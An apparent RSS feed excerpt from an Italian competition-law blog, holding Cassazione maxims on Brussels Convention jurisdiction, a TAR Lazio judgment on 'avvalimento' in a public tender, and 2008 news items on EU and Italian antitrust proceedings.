<p>Appartiene al giudice italiano, a norma dell&#8217;art. 5, n. 1 e 3, della convenzione di Bruxelles del 27 settembre 1968 - ratificata con legge n. 804 del 1971 -, la giurisdizione sulla domanda di pagamento del corrispettivo, da effettuarsi in Italia, di beni mobili venduti ad una societ&#224; con sede in Gran Bretagna e sulla connessa domanda di danni per responsabilit&#224; extracontrattuale (formulata, nella specie, a norma dell&#8217;art. 2043 e dell&#8217;art. 2598 c.c., per concorrenza sleale da diffusione di notizie idonee a screditare la societ&#224; italiana venditrice), in quanto il criterio di collegamento del &quot;luogo in cui l&#8217;evento dannoso &#232; avvenuto&quot; (art. 5, n. 3, conv. cit.) va inteso sia nel senso del luogo in cui &#232; insorto il danno, sia in quello del luogo in cui si &#232; verificato l&#8217;evento dannoso (nell&#8217;ipotesi, in Italia, luogo dell&#8217;impoverimento patrimoniale del soggetto che si pretende leso); trattandosi, peraltro, di domanda tanto legata alla prima da rendere opportuna una trattazione comune, per evitare soluzioni fra loro incompatibili ove le cause fossero decise separatamente (art. 22, comma 3, conv. cit.), e per la quale lo straniero pu&#242; essere convenuto in Italia a norma dell&#8217;art. 4, n. 3, c.p.c.. </p>
<p><strong>Cassazione civile , sez. un., 20 novembre 1992 , n. 12388, UBS c. Societ&#224; ILTE e altro, Giust. civ. Mass. 1992, fasc. 11.</strong></p>
<p>Con riguardo a periodo anteriore all&#8217;entrata in vigore della l. 10 febbraio 1992 n. 198 - di ratifica della Convenzione di Lugano 16 settembre 1988 sulla giurisdizione, cui ha aderito anche la confederazione elvetica - il pagamento all&#8217;estero di un assegno bancario, da parte di un istituto bancario elvetico, in favore di soggetto diverso dall&#8217;intestatario, sia che configuri un illecito civile, ex art. 2043 c.c., sia che integri un comportamento legittimante all&#8217;azione di ripetizione di indebito, non consente all&#8217;intestatario stesso di esercitare i propri diritti davanti al giudice italiano, essendo carenti i momenti di collegamento di cui all&#8217;art. 4 c.p.c., salvo che, essendo il suddetto istituto soltanto giratario per l&#8217;incasso ed essendo la pretesa del beneficiario dell&#8217;assegno svolta anche nei confronti del trattario, sussista la giurisdizione italiana rispetto a questo ultimo, ancorch&#233; di nazionalit&#224; straniera, con riguardo all&#8217;avvenimento in Italia del depauperamento patrimoniale dell&#8217;intestatario dell&#8217;assegno, in forza della convenzione di Bruxelles 27 settembre 1968, ratificata con l. 21 giugno 1971 n. 804 - nell&#8217;interpretazione fornitane, quanto all&#8217;art. 5 n. 3, dalla Corte di giustizia CEE con la sentenza 30 novembre 1976 n. 21/76 -, poich&#233; in tal caso diviene operante il criterio di collegamento di cui al n. 3 del citato art. 4 c.p.c., a norma del quale la giurisdizione italiana ricorre anche in relazione a domanda connessa con altra pendente davanti al giudice italiano. </p>
<p><strong>Cassazione civile , sez. un., 22 giugno 1990 , n. 6330, Volksbank Afel c. Societ&#224; banca credito agrario, Giust. civ. Mass. 1990, fasc. 6</strong></p>
<p>Nella disciplina della competenza giurisdizionale di cui alla Convenzione di Bruxelles del 27 settembre 1968, ratificata con l. 21 giugno 1971 n. 804, e con riguardo alle azioni fondate su illecito aquiliano, il criterio di collegamento posto dall&#8217;art. 5 n. 3 della Convenzione medesima, sulla base del &quot;luogo in cui l&#8217;evento dannoso &#232; avvenuto&quot;, va inteso nel senso che, in caso di non coincidenza del luogo del verificarsi del danno con quello in cui &#232; stato posto in essere il fatto generatore, l&#8217;attore pu&#242; scegliere il giudice dell&#8217;uno o dell&#8217;altro (sent. della Corte di Giustizia del 30 novembre 1976 in causa 21/76). Pertanto, in ipotesi di denuncia dell&#8217;illecita appropriazione di somma, commessa dallo straniero in territorio estero, deve riconoscersi la giurisdizione del giudice italiano, ove l&#8217;impoverimento patrimoniale della parte istante si sia determinato in Italia. </p>
<p><strong>Cassazione civile , sez. un., 09 agosto 1989 , n. 3668, Trunckline Ferries-France c. Societ&#224; SIAF, Giust. civ. Mass. 1989, fasc. 8-9</strong> </p>
<p>Con riguardo ad azione risarcitoria per fatto illecito, proposta nei confronti di convenuto straniero, il luogo dell&#8217;evento dannoso, che, ove si trovi in Italia, determina la giurisdizione del giudice italiano, ai sensi dell&#8217;art. 5 n. 3 della convenzione di Bruxelles del 27 settembre 1968 (ratificata con l. 21 giugno 1971 n. 804), va inteso come comprensivo sia del luogo del verificarsi del danno, sia del luogo del verificarsi del fatto produttivo del danno medesimo. </p>
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		<title>Provvedimenti. il TAR Lazio precisa l&#8217;ammissibilit&#224; dell&#8217;avvalimento</title>
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		<pubDate>Sat, 31 May 2008 08:25:36 +0000</pubDate>
		<dc:creator>Davide Maresca</dc:creator>
		
		<category><![CDATA[Appalti Pubblici]]></category>

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		<description><![CDATA[Abstract:
Si riporta un&#8217;interessante dentenza del TAR Lazio relativa all&#8217;istituto dell&#8217;avvalimento. Esso consente ad un&#8217;impresa, concorrente in una gara svolta con procedura ad evidenza pubblica, di avvalersi dei requisiti e delle capacit&#224; facenti capo ad un&#8217;impresa diversa previo accordo e nel rispetto di alcune condizioni.
Il TAR afferma che l&#8217;operare dell&#8217;avvalimento non &#232; certo escluso quando non [...]]]></description>
			<content:encoded><![CDATA[<p>Abstract:</p>
<p>Si riporta un&#8217;interessante dentenza del TAR Lazio relativa all&#8217;istituto dell&#8217;avvalimento. Esso consente ad un&#8217;impresa, concorrente in una gara svolta con procedura ad evidenza pubblica, di avvalersi dei requisiti e delle capacit&#224; facenti capo ad un&#8217;impresa diversa previo accordo e nel rispetto di alcune condizioni.</p>
<p>Il TAR afferma che l&#8217;operare dell&#8217;avvalimento non &#232; certo escluso quando non sia previsto nel bando di gara ed inoltre esso &#232; ammissibile anche quando i requisiti di cui l&#8217;impresa si avvale siano nella disponibilit&#224; di una societ&#224; facente parte del medesimo centro d&#8217;interessi.</p>
<p>&#160;</p>
<p>Ecco il testo della sentenza:</p>
<p>&#160;</p>
<p>REPUBBLICA ITALIANA</p>
<p>IN NOME DEL POPOLO ITALIANO</p>
<p>Il Tribunale amministrativo regionale del Lazio, sezione prima, composto dai signori:</p>
<p>Pasquale de Lise Presidente</p>
<p>Roberto Politi Consigliere</p>
<p>Mario Alberto di Nezza Primo referendario, rel.</p>
<p>ha pronunciato la seguente</p>
<p>SENTENZA</p>
<p>nel ricorso n. 4619/2008 R.g. proposto da</p>
<p>Veolia Propret&#233; s.a., Veolia Servizi Ambientali Tecnoitalia s.p.a. e TM.E s.p.a. Termomeccanica Ecologica, in persona dei rispettivi legali rappresentanti p.t., rispettivamente quali mandante e mandatarie del costituendo raggruppamento temporaneo di imprese tra di loro, tutte rappresentate e difese dagli avv.ti Giuseppe Velluto, Antonio Lirosi, Dante Micalella e Gaetano Alfarano, elettivamente domiciliate in Roma, Via delle Quattro Fontane n. 20, presso lo studio legale Gianni, Origoni, Grippo &amp; Partners</p>
<p>contro</p>
<p>il Sindaco di Salerno, quale Commissario delegato ex o.P.C.M. n. 3641 del 16 gennaio 2008 per la localizzazione, progettazione e realizzazione dell&#8217;impianto di termodistruzione della provincia di Salerno, e la Presidenza del Consiglio dei ministri, in persona del Presidente in carica, n.c.;</p>
<p>con l&#8217;intervento ad opponendum</p>
<p>del Comune di Salerno, in persona del vice sindaco p.t., rappresentato e difeso dall&#8217;avv. Antonio Brancaccio, presso lo studio del quale in Roma, Via Taranto n. 18, ha eletto domicilio</p>
<p>per l&#8217;annullamento, previa sospensione,</p>
<p>- dell&#8217;ordinanza commissariale n. 16 del 31 marzo 2008, con cui &#232; stata disposta l&#8217;esclusione dell&#8217;ATI Veolia dalla gara relativa alla progettazione, realizzazione e gestione dell&#8217;impianto di termodistruzione dei rifiuti solidi urbani della provincia di Salerno;</p>
<p>- della nota commissariale del 31 marzo 2008, con cui sono state rese note le motivazioni dell&#8217;esclusione;</p>
<p>- di ogni ulteriore atto presupposto, connesso e/o consequenziale, ivi inclusi i verbali della commissione di gara, nonch&#233;, per quanto occorrer possa, della risposta fornita dalla stazione committente al quesito del 15 marzo 2008 relativo all&#8217;istituto dell&#8217;avvalimento e del bando di gara, relativamente al punto III.3.</p>
<p>Visto il ricorso con i relativi allegati;</p>
<p>visto l&#8217;atto di intervento;</p>
<p>visti gli atti tutti della causa;</p>
<p>sentiti nella camera di consiglio del 21 maggio 2008, relatore il dott. Mario Alberto di Nezza, gli avv.ti Lirosi, Velluto e Brancaccio, anche sulla possibilit&#224; di definire il ricorso con decisione in forma semplificata;</p>
<p>considerato che ad avviso del Collegio il giudizio appare suscettibile di essere definito in tale forma, sussistendo i presupposti dell&#8217;art. 26 l. n. 1034/1971, come modif. dalla legge n. 205/2000;</p>
<p>1. Rilevato:</p>
<p>che l&#8217;esclusione del r.t.i. istante (cfr. verb. 25 marzo 2008) &#232; stata pronunciata dal seggio di gara, sulla premessa dell&#8217;impossibilit&#224; di far ricorso all&#8217;istituto dell&#8217;avvalimento in difetto della relativa previsione nel bando, in ragione dell&#8217;asserita carenza:</p>
<p>a) del requisito della &#8220;capacit&#224; tecnica&#8221; (punto III.3 del bando) in capo alla mandataria Veolia Propret&#233;, la quale si sarebbe avvalsa di una delle mandanti (Veolia Servizi Ambientali Tecnoitalia);</p>
<p>b) del requisito riferito alla progettazione (ex art. 66 d.P.R. 554/99), non posseduto da alcun componente del raggruppamento, in relazione al quale la mandante TM.E. avrebbe fatto ricorso all&#8217;istituto dell&#8217;avvalimento con la Martino Associati s.r.l.;</p>
<p>2. Considerato che - disattesa in limine l&#8217;eccezione di inammissibilit&#224; del gravame spiegata dall&#8217;interveniente, non ravvisandosi in questo stadio della procedura soggetti versanti in posizione di controinteresse - i motivi sub nn. 1 e 2 ric. sono fondati alla luce dei principi affermati dalla Sezione nella recente sentenza 12 maggio 2008 n. 3875, in quanto:</p>
<p>A) n. 1 ric.</p>
<p>La mancanza nel bando di gara di una previsione volta a consentire l&#8217;avvalimento non pu&#242; essere intesa (come opinato dal seggio di gara) nel senso di escludere l&#8217;utilizzo di questo istituto, dovendosi al contrario ritenere che in assenza di specifiche limitazioni (la compatibilit&#224; delle quali, ove previste, sarebbe suscettibile di scrutinio giurisdizionale su richiesta di eventuali interessati) esso vada ammesso nella portata pi&#249; ampia (cfr. Cons. Stato, sez. VI, 22 aprile 2008, n. 1856).</p>
<p>N&#233; si ravvisano sufficienti elementi per apprezzare favorevolmente la tesi dell&#8217;amministrazione comunale, secondo cui l&#8217;avvalimento sarebbe incompatibile con il contratto di &#8220;concessione di lavori&#8221; (costituente oggetto della procedura in esame), quando sia previsto dal bando (come nella specie) l&#8217;&#8220;obbligo&#8221; di costituire una societ&#224; di progetto ai sensi dell&#8217;art. 156 d.lgs. n. 163 del 2006 (c.d. cod. contr. pubbl.); ci&#242; in quanto a tale societ&#224; non potrebbero partecipare le imprese avvalse.</p>
<p>Questa opinione sembra, invero, in contrasto con la logica che presiede alla disciplina in esame.</p>
<p>Anzitutto, non pare lecito desumere dalla menzionata disposizione un divieto per le imprese ausiliarie di partecipare alla societ&#224; di progetto, essendo all&#8217;uopo sufficiente considerare l&#8217;apertura divisata dall&#8217;ultimo periodo del comma 3 (&#8220;l&#8217;ingresso nel capitale sociale e lo smobilizzo delle partecipazioni da parte di banche e altri investitori istituzionali che non abbiano concorso a formare i requisiti per la qualificazione possono avvenire in qualsiasi momento&#8221;).</p>
<p>Occorre inoltre tener conto dell&#8217;ulteriore precisazione, in punto di &#8220;eventuale cessione delle quote della societ&#224; di progetto&#8221;, che &#8220;i soci che hanno concorso a formare i requisiti per la qualificazione sono tenuti a partecipare alla societ&#224; e a garantire, nei limiti di cui sopra, il buon adempimento degli obblighi del concessionario sino alla data di emissione del certificato di collaudo dell&#8217;opera&#8221; (comma 3, penult. per.); ci&#242; che consente (in disparte la questione, che qui non mette conto affrontare, dell&#8217;eventuale esistenza di un vero e proprio obbligo dell&#8217;impresa ausiliaria di partecipare, al pari dell&#8217;ausiliata, alla societ&#224; di progetto) di riscontrare la perdurante sussistenza dell&#8217;impegno assunto dall&#8217;avvalsa nei confronti dell&#8217;amministrazione (oltre che dell&#8217;ausiliata) in occasione della presentazione dell&#8217;offerta (impegno cui si lega la solidariet&#224; passiva ex art. 49, comma 4, cod. cit.);</p>
<p>B) n. 2 ric.</p>
<p>Quanto alla pretesa preclusione derivante dall&#8217;art. 49, comma 8, cod. contr. pubbl. (&#8220;in relazione a ciascuna gara non &#232; consentito, a pena di esclusione, [&#8230;] che partecipino sia l&#8217;impresa ausiliaria sia quella che si avvale dei requisiti&#8221;), non &#232; condivisibile la lettura propugnata dall&#8217;interveniente, secondo cui la mandataria (Veolia Propret&#233;) non avrebbe potuto avvalersi della &#8220;capacit&#224; tecnica&#8221; di una delle mandanti e cio&#232; di un&#8217;altra concorrente (nella specie TM.E. anzich&#233; VSAT, come erroneamente affermato dal seggio di gara nel verbale del 25 marzo 2008). Osserva infatti il Collegio:</p>
<p>B.1) che il bando di gara non pone alcuna limitazione nei sensi ipotizzati dal Comune;</p>
<p>B.2) che all&#8217;interpretazione pi&#249; restrittiva &#232; certamente da preferire, tenuto conto della normativa comunitaria di riferimento (artt. 47, comma 3, e 48, comma 4, dir. 2004/18/CE: &#8220;un raggruppamento di operatori economici [&#8230;] pu&#242; fare affidamento sulle capacit&#224; dei partecipanti al raggruppamento o di altri soggetti&#8221;), la tesi che, in ossequio al principio di massima accessibilit&#224; al mercato delle commesse pubbliche, ammette la possibilit&#224; di avvalimento anche per i soggetti parte di un raggruppamento non costituito, e ci&#242; non solo nei confronti dei soggetti esterni ma anche degli stessi partecipanti al raggruppamento.</p>
<p>In questa prospettiva, il citato art. 49, comma 7, cod. contr. pubbl. deve perci&#242; essere inteso nel senso che &#232; vietata la partecipazione dell&#8217;avvalente e dell&#8217;avvalsa alla medesima gara allorch&#233; tali imprese siano in concorrenza l&#8217;una con l&#8217;altra, non certo quando esse facciano capo a un medesimo centro d&#8217;interessi.</p>
<p>Non pu&#242; in contrario valorizzarsi (come opposto dall&#8217;amministrazione comunale) il tenore della dichiarazione resa dalla mandante TM.E. ai sensi dell&#8217;art. 49, comma 2, lett. e, di non prender parte alla procedura &#8220;in proprio o associata [&#8230;] con una delle altre imprese che partecipano&#8221; alla stessa selezione, posto che con tale affermazione la concorrente ha per l&#8217;appunto rappresentato di non aver formulato un&#8217;offerta in competizione con quella del r.t.i. istante (ci&#242; che &#232;, tra l&#8217;altro, dimostrato dalle premesse del contratto di avvalimento inter partes, depositato nell&#8217;odierna camera di consiglio, ove si d&#224; correttamente atto della veste in cui ciascuna delle imprese interessate agisce).</p>
<p>E analogo ragionamento va effettuato con riferimento al requisito di cui al punto III.2.6 del bando (certificazione ambientale UNI EN ISO 14001), rispetto al quale la mandataria si &#232; avvalsa della mandante VSAT (va peraltro notato come il seggio di gara non abbia riscontrato la carenza di tale elemento);</p>
<p>B.3) che alla luce degli enunciati principi non si rilevano ragioni per impedire: a) alla mandante TM.E. di fornire alla mandataria il requisito ex punto III.3 e di avvalersi, a sua volta, del requisito di progettazione fornito dalla societ&#224; Martino Associati; b) alla mandante VSAT di fornire alla mandataria il requisito di cui al punto III.2.6 (v. sub n. 5 mem. amm.);</p>
<p>B.4) che l&#8217;esame della &#8220;documentazione di prequalifica&#8221;, depositata dalle istanti nell&#8217;odierna camera di consiglio, permette di riscontrare l&#8217;avvenuta presentazione, a differenza di quanto sostenuto dall&#8217;interveniente (punto 6 mem.), delle dichiarazioni sul &#8220;possesso dei requisiti generali di cui all&#8217;art. 38&#8221; da parte di ciascuna delle concorrenti e dell&#8217;ausiliaria Martino Associati (v. sub lett. B doc.);</p>
<p>3. Considerato che l&#8217;accoglimento dei primi due mezzi impone di pronunciare l&#8217;annullamento dell&#8217;esclusione (fermi restando gli ulteriori provvedimenti dell&#8217;amministrazione), potendo restare assorbiti i rimanenti profili di gravame (punti 2.5 ss. e n. III ric.) e sembrando equo compensare le spese di lite;</p>
<p>P.Q.M.</p>
<p>Il Tribunale amministrativo regionale del Lazio, sezione prima, definitivamente pronunciando, accoglie il ricorso e, per l&#8217;effetto, annulla l&#8217;impugnato provvedimento di esclusione.</p>
<p>Spese compensate.</p>
<p>Ordina che la presente sentenza sia eseguita dall&#8217;Autorit&#224; amministrativa.</p>
<p>Cos&#236; deciso in Roma, nella camera di consiglio del 21 maggio 2008.</p>
<p>Il Presidente</p>
<p>L&#8217;estensore</p>
<p>Depositata in segreteria il 22 maggio 2008</p>
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		<title>Provvedimenti. Calcio: vendita diritti TV Pisa primo effetto dell&#8217;istruttoria su Lega</title>
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		<pubDate>Sat, 31 May 2008 07:58:38 +0000</pubDate>
		<dc:creator>Davide Maresca</dc:creator>
		
		<category><![CDATA[Concorrenza Antitrust]]></category>

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		<description><![CDATA[La vendita autonoma, da parte del Pisa, dei diritti tv per i play off &#232; il primo effetto dell&#8217;istruttoria avviata dall&#8217;Autorit&#224; Garante della Concorrenza e del Mercato nei confronti della Lega Calcio. E&#8217; la valutazione effettuata dall&#8217;Antitrust, nella riunione del 29 maggio 2008, dell&#8217;accordo che render&#224; possibile la trasmissione in pay-per-view degli incontri disputati in [...]]]></description>
			<content:encoded><![CDATA[<p>La vendita autonoma, da parte del Pisa, dei diritti tv per i play off &#232; il primo effetto dell&#8217;istruttoria avviata dall&#8217;Autorit&#224; Garante della Concorrenza e del Mercato nei confronti della Lega Calcio. E&#8217; la valutazione effettuata dall&#8217;Antitrust, nella riunione del 29 maggio 2008, dell&#8217;accordo che render&#224; possibile la trasmissione in pay-per-view degli incontri disputati in casa dalla squadra toscana. L&#8217;istruttoria, che prosegue, &#232; stata avviata il 10 aprile scorso per verificare se la Lega Calcio, anche attraverso delibere associative, abbia limitato la facolt&#224; delle squadre del Campionato di calcio di Serie B di commercializzare autonomamente i diritti di trasmissione delle partite disputate, ponendo in atto condotte lesive della concorrenza. </p>
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		<item>
		<title>Legislazione. La Commissione Europea semplifica la procedura di denuncia degli aiuti di stato</title>
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		<pubDate>Tue, 27 May 2008 13:10:51 +0000</pubDate>
		<dc:creator>Davide Maresca</dc:creator>
		
		<category><![CDATA[Concorrenza Antitrust]]></category>

		<category><![CDATA[Aiuti di stato]]></category>

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		<description><![CDATA[La commissione Europea ha pubblicato una Comunicazione relativa alle procedure per le segnalazioni sugli aiuti di stato. Tali linee guida sembrano agevolare e semplificare il ruolo dell Piccole e Medie Imprese le quali sono spesso i veri soggetti danneggiati dalla violazione delle norme sulla concorrenza.
&#160;
Ecco Il link alla comunicazione: http://ec.europa.eu/comm/competition/state_aid/reform/guarantee_notice_en.pdf
]]></description>
			<content:encoded><![CDATA[<p>La commissione Europea ha pubblicato una Comunicazione relativa alle procedure per le segnalazioni sugli aiuti di stato. Tali linee guida sembrano agevolare e semplificare il ruolo dell Piccole e Medie Imprese le quali sono spesso i veri soggetti danneggiati dalla violazione delle norme sulla concorrenza.</p>
<p>&#160;</p>
<p>Ecco Il link alla comunicazione: <a title="http://ec.europa.eu/comm/competition/state_aid/reform/guarantee_notice_en.pdf" href="http://ec.europa.eu/comm/competition/state_aid/reform/guarantee_notice_en.pdf">http://ec.europa.eu/comm/competition/state_aid/reform/guarantee_notice_en.pdf</a></p>
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		<item>
		<title>Provvedimenti. EU Commission opens formal proceedings against Gaz de France concerning suspected gas supply restrictions</title>
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		<pubDate>Tue, 27 May 2008 13:04:53 +0000</pubDate>
		<dc:creator>Davide Maresca</dc:creator>
		
		<category><![CDATA[Concorrenza Antitrust]]></category>

		<category><![CDATA[Abuso Di Posizione Dominante]]></category>

		<category><![CDATA[Intese]]></category>

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		<description><![CDATA[The European Commission has decided to open formal antitrust proceedings against the French gas company Gaz de France for a suspected breach of the EC Treaty&#8217;s rules on abuse of dominant position (Article 82) and restrictive business practices (Article 81). The case arises out of inspections carried out in 2006 on Gaz de France premises [...]]]></description>
			<content:encoded><![CDATA[<p><a name="Heading7"></a>The European Commission has decided to open formal antitrust proceedings against the French gas company Gaz de France for a suspected breach of the EC Treaty&#8217;s rules on abuse of dominant position (Article 82) and restrictive business practices (Article 81). The case arises out of inspections carried out in 2006 on Gaz de France premises in France (see <a href="http://europa.eu/rapid/pressReleasesAction.do?reference=MEMO/06/205&amp;format=HTML&amp;aged=1&amp;language=EN&amp;guiLanguage=fr">MEMO/06/205</a>). The Commission proceedings focus on behaviour which may prevent or reduce competition on supply markets for natural gas in France.</p>
<p>The initiation of proceedings does not imply that the Commission has proof of an infringement. It only signifies that the Commission will conduct an in-depth investigation of the case as a matter of priority.</p>
<p>Why has the Commission decided to initiate proceedings?</p>
<p>The initiation of proceedings against Gaz de France originates from information obtained during the inspection carried out in 2006.</p>
<p>The potential infringement consists of behaviour that might prevent or reduce competition on downstream supply markets for natural gas in France through, in particular, a combination of long-term reservation of transport capacity and a network of import agreements, as well as through underinvestment in import infrastructure capacity. These suspected practices, constituting possible infringements of Articles 81 and 82 of the EC Treaty and Articles 53 and 54 of the EEA Agreement, are allegedly engaged in by Gaz de France SA, its subsidiaries and companies under its control.</p>
<p>The proceedings against Gaz de France are not part of the energy sector competition inquiry, on which the final report was presented on 10th January 2007 (see <a href="http://europa.eu/rapid/pressReleasesAction.do?reference=IP/07/26&amp;format=HTML&amp;aged=1&amp;language=EN&amp;guiLanguage=en">IP/07/26</a> and <a href="http://europa.eu/rapid/pressReleasesAction.do?reference=MEMO/07/15&amp;format=HTML&amp;aged=0&amp;language=EN&amp;guiLanguage=fr">MEMO/07/15</a>). The energy sector inquiry has allowed the Commission to gain an in-depth understanding on the functioning, and in some respects mal-functioning, of the energy sector, which is of key importance for the overall competitiveness of the European economy. The knowledge acquired during the sector inquiry has allowed the Commission to draw conclusions as regards where Commission investigations based on competition law could be appropriate and effective.</p>
<p>There is no strict deadline to complete inquiries into anticompetitive conduct. Their duration depends on a number of factors, including the complexity of each case, the extent to which the undertakings concerned co-operate with the Commission and the exercise of the rights of defence.</p>
<p>What is the legal base for the decision? </p>
<p>The legal base of this procedural step is Article 11(6) of Council Regulation No 1/2003 and article 2(1) of Commission Regulation No 773/2004. </p>
<p>Article 11(6) of Regulation No 1/2003 provides that the initiation of proceedings relieves the competition authorities of the Member States of their authority to apply the competition rules laid down in Articles 81 and 82 of the Treaty. Moreover, Article 16(1) of the same Regulation provides that national courts must avoid giving decisions which would conflict with a decision contemplated by the Commission in proceedings that it has initiated.</p>
<p>Article 2 of Regulation No 773/2004 provides that the Commission can initiate proceedings with a view to adopting at a later stage a decision on substance according to Articles 7-10 of Regulation No 1/2003 at any point in time, but at the latest when issuing a statement of objections or a preliminary assessment notice in a settlement procedure. In the case at stake, the Commission has chosen to open proceedings before such further steps. </p>
<p>The Commission may make public the initiation of proceedings in any appropriate way. Before doing so, it informed the parties concerned. The Competition Authorities of the Member States concerned have also been informed.</p>
<p>The company&#8217;s rights of defence will be fully respected.</p>
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		<title>Articolo. Interventi al Convegno di Treviso: Antitrust fra diritto nazionale e diritto comunitario</title>
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		<pubDate>Sat, 24 May 2008 09:55:46 +0000</pubDate>
		<dc:creator>Davide Maresca</dc:creator>
		
		<category><![CDATA[Concorrenza Antitrust]]></category>

		<category><![CDATA[Mercato unico]]></category>

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		<description><![CDATA[Si segnalano gli lluminanti interventi del convegno tenutosi a Treviso sul tema &#34;Antitrust fra diritto nazionale e diritto comunitario&#34;.
&#160;
Il primo intervento &#232; quello della Prof. Carla Rabitti Bedogni: &#34;Convergenza senza primato: verso un modello condiviso&#34;
Il secondo intervento &#232; quello del Segretario generale dell&#8217;antitrust Luigi Fiorentino: &#34;Autorit&#224; GArante ed interventi a tutela del consumatore&#34;
]]></description>
			<content:encoded><![CDATA[<p>Si segnalano gli lluminanti interventi del convegno tenutosi a Treviso sul tema &quot;Antitrust fra diritto nazionale e diritto comunitario&quot;.</p>
<p>&#160;</p>
<p>Il primo intervento &#232; quello della Prof. Carla Rabitti Bedogni: <a href="http://www.agcm.it/AGCM_ITA/DOCUM/DOCS.NSF/0/b8c0408efba8b56ac1257451003b1668/$FILE/Prof.%20Rabitti%20Treviso.pdf" target="_blank">&quot;Convergenza senza primato: verso un modello condiviso&quot;</a></p>
<p>Il secondo intervento &#232; quello del Segretario generale dell&#8217;antitrust Luigi Fiorentino: <a href=" http://www.agcm.it/AGCM_ITA/DOCUM/DOCS.NSF/0/83e596280205b20fc1257452002caaaa/$FILE/Intervento%20Dott.%20Fiorentino%20Treviso.pdf" target="_blank">&quot;Autorit&#224; GArante ed interventi a tutela del consumatore&quot;</a></p>
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		<item>
		<title>Provvedimenti. EU Commission closed infringement proceedings against Malta about fuel market</title>
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		<pubDate>Wed, 07 May 2008 09:57:33 +0000</pubDate>
		<dc:creator>Davide Maresca</dc:creator>
		
		<category><![CDATA[Concorrenza Antitrust]]></category>

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		<description><![CDATA[The European Commission, on 18 December 2007, has closed infringement proceedings against Malta concerning restrictions on the import, storage and wholesale of petroleum products as Malta has now put into place new procedures that allow market participants other than former state monopoly Enemalta to apply for licences. Under the Accession Treaty, Malta was required to [...]]]></description>
			<content:encoded><![CDATA[<p><a name="Heading7"></a>The European Commission, on 18 December 2007, has closed infringement proceedings against Malta concerning restrictions on the import, storage and wholesale of petroleum products as Malta has now put into place new procedures that allow market participants other than former state monopoly Enemalta to apply for licences. Under the Accession Treaty, Malta was required to adjust its legislation by 1 January 2006. However, this was only achieved after the Commission decided in October 2007 to take Malta to the Court of Justice unless it adjusted its petroleum products regime within three months (see <a href="http://europa.eu/rapid/pressReleasesAction.do?reference=IP/07/1544&amp;format=HTML&amp;aged=0&amp;language=EN&amp;guiLanguage=en">IP/07/1544</a>).</p>
<p>Competition Commissioner Neelie Kroes said: &quot;I am pleased that after some hesitation Malta has decided to open its fuel market to competition. Malta made the commitment to create a level playing field in this important market when it joined the European Union, and I look forward to seeing the benefits competition will bring &#8211; ultimately to the benefit of Maltese consumers.&quot;</p>
<p>Under Article 31 of the EC Treaty, Member States are obliged to adjust any state monopolies of a commercial character so as to ensure that there is no discrimination between nationals of Member States regarding the conditions under which goods are bought and sold.</p>
<p>According to the Accession Treaty, Malta had to ensure that petroleum products could be traded through a licensing system by 1 January 2006. Currently the state-owned company Enemalta is the only company holding such a licence. In October 2007, Malta adopted legislative measures to create a framework for a new licensing procedure to allow other companies to apply for a licence. The necessary implementing measures have also been published. The Commission has been assured by the Maltese authorities that licences will be issued to operators who meet the legal requirements.   <br />More general information on infringements is available at:</p>
<p><a href="http://ec.europa.eu/community_law/infringements/infringements_en.htm">http://ec.europa.eu/community_law/infringements/infringements_en.htm</a></p>
]]></content:encoded>
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		</item>
		<item>
		<title>Provvedimenti. L&#8217;antitrust aggiorna le soglie di fatturato per le concentrazioni</title>
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		<pubDate>Wed, 07 May 2008 09:45:56 +0000</pubDate>
		<dc:creator>Davide Maresca</dc:creator>
		
		<category><![CDATA[Concorrenza Antitrust]]></category>

		<category><![CDATA[Concentrazioni]]></category>

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		<description><![CDATA[A decorrere dal 5 maggio 2008, le “soglie” di fatturato oltre le quali diviene obbligatoria la comunicazione preventiva delle operazioni di concentrazione sono pari a 448 milioni di euro per il fatturato realizzato a livello nazionale dall’insieme delle imprese interessate all’operazione e a 45 milioni di euro per l’impresa di cui è prevista l’acquisizione. Lo [...]]]></description>
			<content:encoded><![CDATA[<p>A decorrere dal 5 maggio 2008, le “soglie” di fatturato oltre le quali diviene obbligatoria la comunicazione preventiva delle operazioni di concentrazione sono pari a 448 milioni di euro per il fatturato realizzato a livello nazionale dall’insieme delle imprese interessate all’operazione e a 45 milioni di euro per l’impresa di cui è prevista l’acquisizione. Lo ha deliberato l’Autorità Garante della Concorrenza e del Mercato. L’incremento del valore delle “soglie” corrisponde, come previsto dall’art. 16 della legge n. 287/90, all’aumento dell’indice del deflatore dei prezzi del prodotto interno lordo, che, come risulta dalla Relazione Generale sulla situazione economica del Paese, è stato pari, per il 2007, al 2,26%</p>
<p><a target="_blank" href="http://www.agcm.it/AGCM_ITA/FORMUL/MODACOMU.NSF/033d5a7e8b478ddec125652a0030454c/7271b848e9155665c1256b250032c2e8?OpenDocument">Link al testo del provvedimento</a></p>
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